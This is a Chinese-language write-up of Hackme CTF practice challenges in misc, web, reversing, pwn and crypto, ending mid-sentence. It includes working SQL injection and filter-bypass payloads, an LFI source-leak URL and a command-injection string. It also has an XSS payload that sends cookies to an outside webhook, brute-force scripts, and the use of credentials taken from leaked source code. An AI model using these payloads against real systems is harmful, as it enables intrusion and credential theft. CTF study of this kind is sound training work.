# Hackme CTF write-up * [網址](https://hackme.inndy.tw/) * 不需要辦帳號,只需隨便打一個 ID 就可以開始解(拜託不要登我的幫我解XD) - **警告,該頁面含有大量提示或可能含有 Flag。** --- ## 目錄 [TOC] --- ## Misc ### #1 flag * 範例題目,Flag 就是`FLAG{This is flag's format}` ### #2 corgi can fly * 題目網址點進去是一張狗狗的圖片 * 我一開始先使用 binwalk 解看看,發現裡面有一個 zlib 檔案 * 接著使用 zlib viewer 看看這個檔案,最後面會看到一個像是 base64 編碼過的字串 * 解碼後得到 `Did you tried LSB?` * ![](https://i.imgur.com/rhpsmpo.png) * LSB 指的應該是 LSB 隱寫術 * 提示說可以使用 `stegsolve` * 用 stegsolve 打開圖片,每個 plane 看看,最後會在 red plane 0 看到一張 QR code * ![](https://i.imgur.com/mcs18tA.png) * 丟到 QR code 掃碼器就可以得到 flag ### #3 television * 題目點進去後會得到一張圖片,下載下來並丟入 [Hex Viewer](https://hexed.it/),查詢`FLAG`即可看到 FLAG。 * ![](https://i.imgur.com/dYxR75D.png) ### #4 meow * 參考:https://blog.csdn.net/qq_41509200/article/details/100803074 * 題目打開會看到一個圖片,下載下來之後用 binwalk 掃一下,發現裡面有壓縮檔。 * 接著用 foremost 將檔案和圖片分離,得到原圖片 `00000000.png` 和壓縮檔 `00000094.zip`。 * 嘗試解壓縮,可以發現 flag 就在裡面,但被經過加密打不開;用 `unzip -v 00000094.zip` 分析,得到 CRC 值為`cdad52bd`。 * 接著將原圖 `00000000.png` 也壓縮,並查看 CRC 值發現一樣。 * `zip plain.zip 00000000.png` * `unzip -v plain.zip` * 因此存在明文攻擊,可以用工具 pkcrack 爆開。 * `./pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P plain.zip -p 00000000.png -d result.zip -a` ### #5 where is flag * 題目會給你一個檔案`flag.xz`,解壓縮後會得到檔案`flag`,裡面有一堆很像 Flag 的東西。 * 題目提示你使用 regular expression,我這邊使用線上工具 [regex101](https://regex101.com/)。 * 我一開始不太確定 Flag 裡面能不能放特殊符號,所以我的規則是: * 開頭是`FLAG{` * 結尾是`}` * 中間不能有`{} [] ()`這些符號。 * 轉換成 regex 就是`FLAG{[^\{\}\(\)\[\]]+}` * 出來的結果不只一個,發現其他都有`@`,只有一個純英文數字。 * 可以將`@`也加入 regex 排除,不過我這邊就直接丟答案了。 ### #6 encoder * 題目附了兩個檔案,一個是加密的 code,另一個則是加密後的結果 * 簡單看一下加密流程 * 共有四種加密法 * 英文字前後交換 * base64 * string to hex * 英文字大小寫交換 * 每次隨機選一種方法 * flag = 方法(index) + 加密後的 flag * 重複 30 ~ 50 次 * 仔細看一下就會發現其實全部的加密都是可還原的(與其說是加密不如說是編碼),那就從結果一路解回來即可 * 第一個字就是編碼的方式 * 因為不知道做了幾次,所以就做到錯誤或是到 50 次為止 ```python= #!/usr/bin/env python2 import string def re_rot13(s): return s.translate(string.maketrans(string.uppercase + string.lowercase, string.uppercase[13:] + string.uppercase[:13] + string.lowercase[13:] + string.lowercase[:13])) def re_base64(s): return ''.join(s.decode('base64').split()) def re_hex(s): return s.decode('hex') def re_upsidedown(s): return s.translate(string.maketrans(string.uppercase + string.lowercase, string.lowercase + string.uppercase)) enc = open('flag.enc', 'r').read() D = (re_rot13, re_base64, re_hex, re_upsidedown) for i in range(50): try: type = int(enc[0]) print i, type enc = D[type](enc[1:]) except ValueError: break ``` ### #7 slow * 題目叫我們使用 `nc` 連到 server,實際連上去之後會跟我們說 Flag 格式是 `FLAG\{[0-9A-Z_]+\}` * 然後叫我們輸入 Flag,過一段時間後就會說 Bye 並結束連線。 * 再詳細測試後會發現,輸入隨便的字串 `123` 和有符合格式的 `FLAG{123}`,回傳 Bye 的時間有所差異。 * 推測 Flag 對的越多,回傳時間越久 * 利用這點暴力解每個字元,利用時間判斷字元是否正確 ```python= import time import string from pwn import * flag = 'FLAG{' while not flag.endswith('}'): for c in string.ascii_uppercase + string.digits + '}_': r = remote('ctf.hackme.quest', 7708) r.recvuntil('}\n') r.sendline(flag + c) start = time.time() r.recvuntil('Bye') t = time.time() - start print(t) r.close() if t - 1.5 > len(flag): flag += c print(flag) break ``` * 然後就放著跑,要跑一段時間,最後 Flag 如果正確會回傳 Good。 ### #8 pusheen.txt * 題目下載下來是一個壓縮檔,裡面有一個 txt 文字檔,內容是一堆胖吉貓。 * 觀察一下之後發現胖吉貓有白的和黑的兩種,直覺性的帶換成 `0` 和 `1`。 ```python= f = open("pusheen.txt", "r", encoding = 'utf8') lines = f.readlines() code = "" num = 0 for line in lines: if(num % 16 == 3): if("▒" in line): code += "1" else: code += "0" num += 1 f.close() print(code) ``` * 得到一串二進位數字之後,先轉為 Hex 碼再轉為字串就是 Flag。 ### #13 BZBZ * 點進[題目](https://ctf.hackme.quest/bzbz/)後,會看到一個假的B站頁面,基本上只有登錄有用。 * 隨手輸入一個帳號密碼後,跳出提示`You must be a employee from bilibili!`,看來要使用員工的格式才有用。 * 搜尋`bilibili employee format`後得知帳號格式為`XXX@bilibili.com`,輸入後得到提示`Do you like golang? We use golang for our service and it was opensourced.`。 * 這邊和這題的 Description 都是在暗示你直接搜尋B站之前的源碼洩漏事件,google `gitbhu openbilibili`後可以找到一堆大家備份下來的數據庫XD * 之後就是在裡面找到一組能用的帳號密碼,輸入後得到 Flag。 * `app/admin/ep/melloi/cmd/convey-test.toml`的 mail 裡面那組是能用的。 * 找了其他幾組都無法成功,不確定是不是只有這一組能觸發。 * 直接透過 google 爆搜相關新聞或討論其實也可以直接找到能用的帳號密碼,不一定要去挖程式碼。 ## Web ### #15 hide and seek * 主頁面,反白XD ### #16 guestbook * [題目網頁](https://hackme.inndy.tw/gb/index.php?mod=home) * 隨便丟一個 New Post 之後,到 Message List 查詢,發現網址後面是 `id=XXX`,含有 sqli 攻擊的可能。 * 先用 `UNION` 確認資料列的數量: * `mod=read&id=-1 UNION SELECT 1...` * `mod=read&id=-1 UNION SELECT 1,2,3,4` 這個有顯示出東西,代表資料有四列。 * 接著將有顯示出來的數字(2, 3, 4)換成想要偷的資料,這邊想要先偷出 database name: * `id=-1 UNION SELECT 1,2,3,database()` * 可以看到畫面上原本顯示 `4` 的地方變成了 `g8`,代表 database 名稱為 `g8`。 * 然後從 CTF 常見的 `information_schema` 偷資料。 * `SELECT table_name FROM information_schema.tables WHERE table_schema='資料庫名稱'` 找到資料表中的列表,再利用 `limit` 可以顯示出資料。 * payload: `id=-1 UNION SELECT 1,2,3,(SELECT table_name FROM information_schema.tables WHERE table_schema='g8' limit 0,1)` * 找到一個名為 `flag` 的 table,很像我們要的。 * 再來一樣利用 `information_schema` 找出 flag 這個 table 中有那些欄位: * `select column_name from information_schema.columns where table_name='flag' limit '偏移量',1` * 在 `id=-1 union select 1,(select column_name from information_schema.columns where table_name='flag' limit 1,1),3,4#` 發現裡面有個欄位叫 flag,應該就是我們要的。 * 整理一下,所以我們要的是在資料庫 `flag` 中的 `flag` 這個欄位的資料,因為不知道資料是哪一個所以一樣用 `limit` 來偏移: * `id=-1 union select 1,(select flag from flag limit '偏移量',1),3,4#` * 最後 payload: `id=-1 union select 1,(select flag from flag limit 1,1),3,4#` * 第 `0` 和 `2` 的欄位是貓貓gif XDD ### #17 LFI * [題目網頁](https://ctf.hackme.quest/lfi/) * 隨便點上面的一個 URL-Link,可以發現 URL 的格式是 `lfi/?page=pages/<XXX>`,看起來就很 LFI ~~(廢話)~~ * 到 Login 的頁面,需要輸入帳號密碼 * 頁面 URL 是 `https://ctf.hackme.quest/lfi/?page=pages/login` * 利用 base64 的 filter 拉出原始碼 * https://ctf.hackme.quest/lfi/?page=php://filter/convert.base64-encode/resource=pages/login * 得到一串 base64 碼 * ![](https://i.imgur.com/8JVePY6.png) * 丟到[解碼器](https://www.base64decode.org/),得到原始碼 ```php= <?php require('config.php'); if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') { echo $flag; } else { ?> <form action="?page=pages/login" method="post" role="form"> <div class="form-group"> <label for="user-i">User</label> <input type="text" class="form-control" id="user-i" placeholder="Username" name="user"> </div> <div class="form-group"> <label for="pass-i">Password</label> <input type="password" class="form-control" id="pass-i" placeholder="Password" name="pass"> </div> <button type="submit" class="btn btn-primary">Login</button> </form> <?php } ?> ``` * 這邊知道帳號是 `admin`,但密碼是經過 md5 的 hash 值,要怎麼知道呢? * [爆表查詢](https://www.cmd5.com/) * 得到密碼 `passw0rd` * 登入後成功得到 Flag ### #18 homepage * 都叫 `homepage` 了,所以就到[主頁面看看](https://hackme.inndy.tw/)。 * 都是 Web 題了,那就先打開 F12 看看有啥,果然發現 console 有東西: * ![](https://i.imgur.com/Y6RrZ2Q.png) * 用 QR code 掃一下得到 Flag * ![](https://i.imgur.com/0AtTfIW.png) ### #19 ping * [題目網頁](https://ctf.hackme.quest/ping/) * 頁面中可輸入一個 IP,他會幫我們 ping 過去 * 蠻明顯有個 command injection 的漏洞,不過題目 ban 了一堆字 * 看一下之後發現 ban 了 `$0` 不過沒有 ban 單純 `$` 這個字 * `$(ls)` 可以看到注入成功,當前目錄有 flag.php * ![](https://i.imgur.com/tb0vnDM.png) * 再來我們想要把 flag cat 出來,可是 cat 是禁字 * 查一下 [cheat sheet](https://github.com/w181496/Web-CTF-Cheatsheet#%E7%A9%BA%E7%99%BD%E7%B9%9E%E9%81%8E),可以發現 `$2` 可以當作分隔用的字(因為參數 2 沒有任何東西) * 輸入 `$(c$2at f*)`,得到 Flag ### #20 scoreboard * 翻了老半天的 code 都沒翻到東西,轉到 NetWork 介面看封包,直接就找到了。 * 藏在 `scoreboard/` 這個封包的 Response Header 裡面。 ### #21 login as admin 0 * [題目網址](https://ctf.hackme.quest/login0/) * 題目給了 source code 和一個登入介面,稍微掃過一下 code 很明顯是要 sqli * 可以看到他做的處理是黑名單,禁止我們做 `or 1=1` `drop` `update` `delete`,然後單引號會被加上反斜線,基本上有擋跟沒擋一樣 * 反斜線的部分在前面再加一個反斜線就可以過了 * `or 1=1` 可以用 `or 2=2` 或是 `|| 1=1` 來 bypass * 這邊使用 `\'OR 2=2 #` / `asd` 就可以登入了,但登入後卻顯示我不是 admin 拿不到 flag * 重新看一次 source code 後發現最上面的註解告訴我們,有第三個欄位 `is_admin` 來判斷是否為 admin,因此我們需要過濾出是 admin 的那一筆資料 * 利用 limit * 最後 payload * `\'OR 2=2 limit 1,1#` ### #22 login as admin 0.1 * 題目網址和上一關一樣 * 上一關解開之後,Flag 的後面會寫 `flag2 in the database!`,表示這一題其實還有第二個隱藏 flag * 估計是其他 user 的密碼或是在其他的表裡面 * 同時我們可以注意到第一關登入後,會有 `Hi, admin` 的字樣,懷疑這裡的 admin 是從 database 拉出來的 * 用 union 測試 * `\'AND 1=2 union select 1,2,3,4 #` * 畫面上變成 `Hi, 2`,代表第二個欄位會顯示出來,可以利用 * 先看看 admin 的密碼是不是 flag * `\'AND 1=2 union select 1,password,3,4 from user limit 1,1#` * 密碼為 `password length is the key to secure your system`,看起來不是 flag * 檢查有沒有其他使用者 * `\'OR 2=2 limit 2,1#` 出現 `Hi, inndy` * 拉出 inddy 的 password * `\'AND 1=2 union select 1,password,3,4 from user limit 2,1#` * 密碼為 `meow~~~~~~~i am not admin`,看來 flag 在其他表裡面 * 爆表名 * `\'AND 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=database() limit 0,1#` * 找到另一張表 `h1dden_f14g` * 爆 column * `\'AND 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name=0x68316464656e5f66313467 limit 0,1#` * 這邊要注意不能打單引號會被前面的機制給加上反斜線,所以字串要改成數字的方式來處理 * 得到 column `the_f14g` * 拉出 flag * `\'AND 1=2 union select 1,the_f14g,3,4 from h1dden_f14g limit 0,1#` * 成功得到 flag ### #23 login as admin 1 * [題目網頁](https://ctf.hackme.quest/login1/) * 和前一題大同小異,WAF 有所更新,禁止: * ` `(空格) * `1=1` * `''` * `union select` * `select ` * 最麻煩的部分應該是空格不能用 * 使用 `/**/` 代替掉空格 * 基本上按照上一題的 payload 去修改即可 * `\'OR/**/2=2/**/limit/**/1,1#` ### #38 xssme * [題目網址](https://xssrf.hackme.quest/) * 進入網頁後先隨便辦一個帳號,然後知道這是一個信箱功能的 web * 收件匣中有封信,裡面說道 admin 會閱讀所有你寄給它的信但它不會回信 * 那目標就是寫一封信 * 裡面可以觸發 js code * 跳轉網址到自己的 server * 後面附帶 get 參數,內容是 cookie * `location.href = <WEBHOOK> + '?' + document.cookie` * 實際去寫信之後會發現,`<scirpt>` 的標籤會被禁止 * 去 web cheat sheet 慢慢試,發現 `<svg/onload=<JSCODE>>` 這個 payload 可以使用 * 然後也會發現 `location.href` 被禁止 * 利用 HTML 編碼,[線上工具](https://mothereff.in/html-entities) * 這邊接收請求用的網頁我是使用 [web.hook.sh](https://web.hook.sh/) * 最後 payload: ``` <svg/onload=location&#x2E;href='<WEBHOOK>?'+document.cookie> ``` * 寄出信件後,就會在 webhook 的地方看到 flag,不過要記得做 URL decode * 還會拿到 flag2 在 REDIS 裡面的提示 ## Reversing ### #41 helloworld * 下載下來之後,先執行看看,它會要求你輸入一個魔術數字,如果隨便輸入會叫你再試試。 * 如果無法執行,可以使用線上[Ubuntu](https://www.katacoda.com/courses/ubuntu/playground)。 * 用 `wget` 下載題目,用 `chmod +x` 新增執行權限。 * 用 `file` 指令看一下,發現它沒有 strip,直接用 Ghidra 逆向看看。 * 打開來後會看到 `main()` 裡面對一個變數先 `scanf` 又做 `if` 判斷,很像我們要的東西,將 `if` 判斷中的數字輸入即可得到 Flag。 ### #42 simple * 同[#41](#41-helloworld),測試完之後進入逆向環節。 * 逆向一樣沒有 strip,到 `main` 之後看到它是將 input 字串每個字元+1,最後比對字串 `UIJT.JT.ZPVS.GMBH`。 * 因此將 `UIJT.JT.ZPVS.GMBH` 全部減一即可。 ### #43 passthis * 題目下載下來之後執行看看,它會叫你輸入 Flag。 * 一樣直接丟進 Ghidra,會發現 `main` 有點複雜,可以直接找到 `Let me check your flag:` 的部分往下看。 * 前面的部分其實是下載一張圖片,如果你之後 Flag 輸入錯誤會把它換成你的桌布。 * 不過不知道是不是 Windows 版本問題,我這邊只會變成全黑的桌布xD * 輸入完字串之後,它會檢查第一個字是不是 `F`,然後做一連串的檢查。 * 懶得繼續逆向,直接推測 + 實測。 * 這邊合理推測是判斷輸入是不是 `FLAG{????}`,只要前面正確就會輸出 `Good flag :)`,否則 `Not the flag!`。 * 那麼我們只要瘋狂把 ASCII 可視字元全部打進去就知道結果了。 ```python= from pwn import * context.log_level = 'ERROR' flag = 'FLAG{' while True: for i in range(30, 150): c = chr(i) p = process('./passthis.exe') f = flag + c b = bytearray(f, 'ascii') try: p.sendline(b) except EOFError: print('eof') r = p.recvline() if 'Good' in r.decode('ascii'): flag = f p.close() break else: p.close() print(flag) ``` ### #44 pyyy * 題目載下來是一個 `.pyc` 檔案,Google 一下發現是 python 編譯後的檔案。 * 使用[反編譯工具](https://www.toolnb.com/tools-lang-zh-TW/pyc.html)跑一下,得到一份 python2 的檔案。 ```python= # uncompyle6 version 3.5.0 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.5 (default, Aug 7 2019, 00:51:29) # [GCC 4.8.5 20150623 (Red Hat 4.8.5-39)] # Embedded file name: pyyy.py # Compiled at: 2016-06-12 01:14:31 __import__('sys').setrecursionlimit(1048576) data = 'Tt1PJbKTTP+nCqHvVwojv9K8AmPWx1q1UCC7yAxMRIpddAlH+oIHgTET7KHS1SIZshfo2DOu8dUt6wORBvNVBpUSsuHa0S78KG+SCQtB2lr4c1RPbMf0nR9SeSm1ptEY37y310SJMY28u6m4Y44qniGTi39ToHRTyxwsbHVuEjf480eeYAfSVvpWvS8Oy2bjvy0QMVEMSkyJ9p1QlGgyg3mUnNCpSb96VgCaUe4aFu4YbOnOV3HUgYcgXs7IcCELyUeUci7mN8HSvNc93sST6mKl5SDryngxuURkmqLB3azioL6MLWZTg69j6dflQIhr8RvOLNwRURYRKa1g7CKkmhN4RytXn4nyK2UM/SoR+ntja1scBJTUo0I31x1wBJpT4HjDN47FLQWIkRW+2wnB3eEwO5+uSiQpzA8VaH7VGRrlU/BFW4GqbaepzKPLdXQFBkNyBKzqzR/zA2GIrYbLIVScWJ19DqJCOyVLGeVIVXyzN1y327orYL2Ee3lRITnE3FouicRStaznIcw8xmxvukwVMRZIJ/vTu8Zc1WQIYEIFXMHozGuvzZgROZTyFihWNRCBBtoP9DJJALJb0pA1IKIb2zLh+pwGF40Y6y93D6weKejGPO+A0DBXH9vuLcCcCIvr/XPQhO3jLKCBN+h9unuJKW3dyWxyaVPdR2V+BTw10VXolo7yaTH1GbR4TiVSB308mBOMwfchwihEe7RdMXvmXgaGarKkJe0NLUCd8jwhYII+WymjxO/xOz/ppOvNfAyIQksW0sggRPQTlgXSZ7MIVA1h66sGNljJ833MoFzWof3azLabaz1OrAJFqYXBg/myDsy1tV6rULSQ82hVR/TNnSmBGvyEDJTrLSwHyj78NOrW4mUnlLGBnAgWfw6pW2lRK2jkNX9NM6DfLsRK8lwl85UP8CZSuNdcLmLwHTVMZGm/cNkZCtWRBlZqEggxGdIO44D+f4y6ysnAk5/QzEwjIuecxEOb0jyV6dFui8g0c3Oxlhzcli0X8ToJFyeQRv1N9nokYZ07tFlG6m18kCToKz1qiH1U7kljXa6SvdORur5dWYLQ//gwhwppe7JlNda/cEoh92h96wRZDv1dSK/f1vz+mUeUyUlFY0iMjfw5eBXWZppNZi3ZtJcq5kllM2ACVFcxQWI3azM3ArOcqjosoiPjNoDYgKh7w4k2Cd0kLYEHscz/njtJ1KEcwLtqs4nJ+gB2r4V9g03YgvY5E8JJtfJMKdaTedjtvEuif8FNlCK9DMnL1iLpWptJbdfO83Y7Y46XCqjZFBI5o9Qtb78nLhMEM5/YTaNOM/wE/oJl5HI/i1X6kW3PKCsVubRkOkc2xawl6NYdLETjLvmrGhhI' a = 138429774382724799266162638867586769792748493609302140496533867008095173455879947894779596310639574974753192434052788523153034589364467968354251594963074151184337695885797721664543377136576728391441971163150867881230659356864392306243566560400813331657921013491282868612767612765572674016169587707802180184907L b = 166973306488837616386657525560867472072892600582336170876582087259745204609621953127155704341986656998388476384268944991674622137321564169015892277394676111821625785660520124854949115848029992901570017003426516060587542151508457828993393269285811192061921777841414081024007246548176106270807755753959299347499L c = 139406975904616010993781070968929386959137770161716276206009304788138064464003872600873092175794194742278065731836036319691820923110824297438873852431436552084682500678960815829913952504299121961851611486307770895268480972697776808108762998982519628673363727353417882436601914441385329576073198101416778820619L d = 120247815040203971878156401336064195859617475109255488973983177090503841094270099798091750950310387020985631462241773194856928204176366565203099326711551950860726971729471331094591029476222036323301387584932169743858328653144427714133805588252752063520123349229781762269259290641902996030408389845608487018053L e = 104267926052681232399022097693567945566792104266393042997592419084595590842792587289837162127972340402399483206179123720857893336658554734721858861632513815134558092263747423069663471743032485002524258053046479965386191422139115548526476836214275044776929064607168983831792995196973781849976905066967868513707L F = (a, b, c, d, e) m = 8804961678093749244362737710317041066205860704668932527558424153061050650933657852195829452594083176433024286784373401822915616916582813941258471733233011L g = 67051725181167609293818569777421162357707866659797065037224862389521658445401L z = [] for i, f in enumerate(F): n = pow(f, m, g) this_is = 'Y-Combinator' l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: 1 if x < 2 else f(x - 1) * x % n)(g % 27777) c = raw_input('Channenge #%d:' % i) if int(c) != l: print 'Wrong~' exit() z.append(l) z.sort() gg = '(flaSg\'7 \\h#GiQwt~66\x0csxCN]4sT{? Zx YCf6S>|~`\x0c$/}\'\r:4DjJFvm]([sP%FMY"@=YS;CQ7T#zx42#$S_j0\\Lu^N31=r\x0b\t\tjVhhb_KM$|6]\nl!:V\rx8P[0m ;ho_\rR(0/~9HgE8!ec*AsGd[e|2&h!}GLGt\'=$\x0cbKFMnbez-q\\`I~];@$y#bj9K0xmI2#8 sl^gBNL@fUL\x0b\\9Ohf]c>Vj/>rnWXgLP#<+4$BG@,\'n a_7C:-}f(WO8Y\x0c2|(nTP!\'\\>^\'}-7+AwBV!w7KUq4Qpg\tf.}Z7_!m+ypy=`3#\\=?9B4=?^}&\'~ Z@OH8\n0=6\x0b\tv\nl!G\'y4dQW5!~g~I*f"rz1{qQH{G9\x0c\'b\x0cp\x0bdu!2/\\@i4eG"If0A{-)N=6GMC<U5/ds\rG&z>P1\nsq=5>dFZUWtjv\tX~^?9?Irwx\\5A!32N\x0bcVkx!f)sVY Men\x0c\'ujN<"LJ\x0c5R4"\\\\XPVA\'m$~tj)Br}C}&kX2<|\np3XtaHB.P\'(E 4$dm!uDyC%u ["x[VYw=1aDJ (8V/a!J?`_r:n7J88!a25AZ]#,ab?{%e\x0b]wN_}*Q:mh>@]u\t&6:Z*Fmr?U`cOHbAf7s@&5~L ,\tQ18 -Hg q2nz%\x0ccUm=dz&h1(ozoZ)mrA=`HKo\n\'rXm}Z-l3]WgN\\NW<{o=)[V({7<N1.-A8S"=;3sderb\tOZ$K\r0o/5\x0bMc76EGCWJ3IQpr7!QhbgzX8uGe3<w-g\'/j\'\tM4|9l?i&tm_\n57X0B2rOpuB@H@%L_\r)&/q=LZa(%}""#if#Kq74xK?`jGFOn"8&^3Q-\r#]E$=!b^In0:$4VKPXP0UK=IK)Y\rstOT40=?DyHor8j7O\\r/~ncJ5];cCT)c?OS0EM5m#V(-%"Tu:!UsE],0Dp s@HErS]J{%oH54B&(zE.(@5#2k\tJnNlnUEij\\.q/3HBpJNk*X(k5;DlqK\'\'fX\r}EBk_7\x0b:>8~\t+M@WJx.PO({/U}1}#TqjreG\nN{\rX>4EsJr0Pn\\Z\\aL/-U<<{,Q;j\tF=7f\')+wH:p{G=_.s\\t-\x0bI\x0c*y\t1P:Y|/2xE<uo]~$>5k]FW+>fR<QA"(Fj[LL(hzfQo#PJ;:*0kB~3]9uL[o.xue:VQ\t;9-Tu\tq|mzzhV_okP\t,d\rQ`]5Gf\x0c#gXB\x0cAH|)NI|K=KW-&p-<b"3e.rO\x0cuK=\x0c^\r+MuLxCJ`UKaD\x0bBH&n+YVajZ(U7pwWtto3T10VLHwSJ\rK\t}\'F$l1:b2Bd\na=#t0iq}#!{1_)w$}<Dp(borC\'\t?r6;,+k;a(Q3@B?RCWYEDrjZe![x=n_%S]rl{&fLr*mgCD;92/nNsaxKy/;\nr]sPK=`+YP>MmfB\n8O4/"}nE7r*=41f2\t37>K\'s$wpl;qS[`qzu\x0b\t\nuaU|b,C`4& dRN~]7DnuTb2FhNHV!#Z2Hho\x0b[%.{O\t$q0\x0ch_@?w@b8[I^{JL|O8]i8{p)A.w)14qK3JoyF%licZ~ga\rW[L:W\rtIvfWJjZUOvB\rS.Beav3!-@bw|PexJ Pcw1\ry6!63B}]J])6fak/3r]W\tMeXt[uc(1_U lys{a1X\r%)[wwP3rhgNW{*d~_E%Q2htCt5ha@l0^0=\x0bwT\ni4/V;_\nM1rb?w~Q)Dli4u\n`}1+D8"\t`@V~$9l$Uy**VnI (@Ga0<RxfmoNgJTtE-aLH\rE5fMy7rk$)V\rL2Fv/AivOa"\nuX|70Xrw^D]%i%JyT\x0cc%cwZ/Wbp=IiY;/@nFEe>3=tM;K*`fReGoc5V/Ri?nXZ-RW)\'\t<\x0cV>@X@-Ei4%sO%},B_pjc`s"@oKCmdgDhjUZT@?mb\'?Q:F\x0bLJkPgjaFAc=rbrjAz$Zz\x0cq0GU!")xFOEF(x!3M\t:l83|}}HgGJJ#eT/I\x0b[|lK_n+;Wi/N^B4LzL.a(gVWq,zO6\'S|tb>RX` ca*CO<w\x0ci =wc1,M~\x0bc`FYEs\r){+Ll8[I9-88m\t\\iK/\\hno-C[vX*3Hx:%:K\rt\x0cW!tj\'SOhqxP|k7cw Hm?I@?P\'HmapG7$0#T(Auz]sjmd#\rFP/}53@-Kvmi(d%dZKLZ2LK\'e_E\x0bQmR 5/(irq4-EUyp<hB?[\tnU:p*xuzASM' print ('').join(gg[(lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda n: 1 if n < 3 else f(n - 1) + f(n - 2))(i + 2)] for i in range(16)) % ('').join(data[pow((__import__('fractions').gcd(z[(i % 5)], z[((i + 1) % 5)]) * 2 + 1) * g, F[(i % 5)] * (i * 2 + 1), len(data))] for i in range(32)) ``` * 到有 python2 的[環境](https://www.katacoda.com/courses/python/playground)實際跑一次,會要求輸入數字,Trace 一下 code,發現第 22 行要求輸入 `c` 並且比較是否和 `l` 相等。 * 改一下 code,將第 22 行直接改成 `c = l`,執行得到 Flag。 ### #45 accumulator * 一樣下載執行丟 Ghidra。 * 這次的有 strip 因此比較難讀,但我們知道執行時有打印出 `What's your flag?` 的字串,我們可以先 Search -> For Strings... 找出所有字串的記憶體位置,然後再對該字串按`Ctrl + Shift + F` 做 Cross reference 搜尋,快速找到哪個 Function 使用到該字串,而該 Function 就是 `main` Function。 * `main` 中的 `19` 行做了 input 的讀取,然後後面做了 SHA512,最後做了兩次看起來像 Check Funtcion 的東西後輸出結果。 * 合理懷疑 Check Function 就是關鍵。 * 進入 Check Function 後稍微修一下名稱: * 對變數按 `L` 可修改名稱。 ![](https://i.imgur.com/1kotamA.png) * 觀察一下可以得到: * str[0] = TABLE[0] * str[1] + str[0] = TABLE[1] * str[2] + str[1] + str[0] = TABLE[2] * ... * 回推一下得到: * str[1] = TABLE[1] - TABLE[0] * str[2] = TABLE[2] - TABLE[1] - TABLE[0] * ... * 因此我們可以從 `TABLE` 回推出 `str` 到底是什麼,先從 Ghidra 去調 `TABLE` * 對 `TABLE` 按兩下會跳到他的記憶體區段,然後上面的 code 第 `15` 行可以知道是用 int 當作單位。 * 全選 `TABLE` 區段,右鍵 Data -> int 就可以轉換。 * 複製所有資料然後丟到 python 處理一下得到 Flag: ```python= a = [ 0xC3, 0xFF, 0x1ED, 0x248, 0x31F, 0x3A1, 0x3B2, 0x43E, 0x49C, 0x4A0, 0x58D, 0x63B, 0x70D, 0x736, 0x821, 0x910, 0x97E, 0xA2D, 0xAA7, 0xB9C, 0xC8D, 0xD4B, 0xD5A, 0xE41, 0xE80, 0xF6E, 0xF95, 0x1061, 0x1084, 0x112A, 0x11AB, 0x1210, 0x1262, 0x1347, 0x1387, 0x13D0, 0x13F2, 0x14AB, 0x1586, 0x15A0, 0x160C, 0x1677, 0x1769, 0x17E6, 0x17EE, 0x1836, 0x1843, 0x190A, 0x1945, 0x19D1, 0x19F7, 0x1A60, 0x1B42, 0x1B62, 0x1B8D, 0x1BC2, 0x1C6A, 0x1D2C, 0x1D8B, 0x1DF9, 0x1E1A, 0x1F14, 0x1FD2, 0x1FFB, 0x2041, 0x208D, 0x20CE, 0x2115, 0x2190, 0x21C0, 0x21F5, 0x2226, 0x2259, 0x228C, 0x22C5, 0x22F9, 0x232F, 0x2366, 0x2399, 0x23C9, 0x23FF, 0x2465, 0x249E, 0x24D5, 0x250B, 0x2544, 0x2577, 0x25AC, 0x25DC, 0x260D, 0x2640, 0x2676, 0x26D8, 0x270C, 0x273D, 0x27A0, 0x27D3, 0x2806, 0x2836, 0x286E, 0x28A2, 0x28D2, 0x2937, 0x299C, 0x29FE, 0x2A61, 0x2AC2, 0x2B25, 0x2B58, 0x2B8B, 0x2BC2, 0x2C28, 0x2C59, 0x2CBB, 0x2CF3, 0x2D55, 0x2D85, 0x2DE9, 0x2E4C, 0x2E7C, 0x2EAF, 0x2F14, 0x2F49, 0x2F81, 0x2FE3, 0x3048, 0x3079, 0x30AD, 0x3113, 0x3178, 0x31AE, 0x31E7, 0x3217, 0x3279, 0x32AA, 0x32DC, 0x330F, 0x3375, 0x33AB, 0x33DC, 0x343E, 0x346E, 0x34D1, 0x3501, 0x3563, 0x3596, 0x35CB, 0x3631, 0x3694, 0x36CD, 0x3700, 0x3763, 0x37C6, 0x3829, 0x3860, 0x3892, 0x38C3, 0x38F3, 0x3923, 0x3957, 0x398C, 0x39C5, 0x39F8, 0x3A2E, 0x3A67, 0x3ACC, 0x3B32, 0x3B6A, 0x3B9F, 0x3BD2, 0x3C03, 0x3C64, 0x3C95, 0x3CFA, 0x3D32, 0x3D93, 0x3DCA, 0x3E2C, 0x3E60, 0x3E92, 0x3ECB, 0x3F04, 0x3F69, 0x3FA0, 0x4002, 0x403B, 0x409F, 0x40D8, 0x410F, 0x413F, 0x41A1, 0x41DA, 0x423B, 0x426D, 0x42A0, 0x4301, 0x4362, 0x43DF ] for i in range(1,len(a)): print(chr(a[i] - a[i-1]),end='') ``` ## Pwn ### #57 catflag * 題目要求使用`nc hackme.inndy.tw 7709`連到 server 上。 * 連上去之後顯示`plz capture the flag after 5 seconds...` 並開始倒數。 * 倒數結束後,該 process 變成一個遠端 shell,但幾乎不能做任何操作。 * 輸入 `ls` 得到 `flag` `run.sh` `shell` 三個檔案,但其他指令都沒有反應。 * 重新 nc 之後,五秒內輸入`cat flag`即可。 ## Crypto ### #81 easy * 題目是 `526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d`,先將其做 HexDecode 再做 base64Decode 即可。 ### #82 r u kidding * 題目是 `EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}`,有一點 sense 就知道只是 shift 而已。 * ![](https://i.imgur.com/9eKYr6P.png) * 答案也跟你說就是 caesar cipher。 ### #83 not hard * 題目是 `Nm@rmLsBy{Nm5u-K{iZKPgPMzS2I*lPc%_SMOjQ#O;uV{MM*?PPFhk|Hd;hVPFhq{HaAH<`,提示使用 python3 的 base64 套件。 * 試一下之後發現用 base85 解碼,可以得到 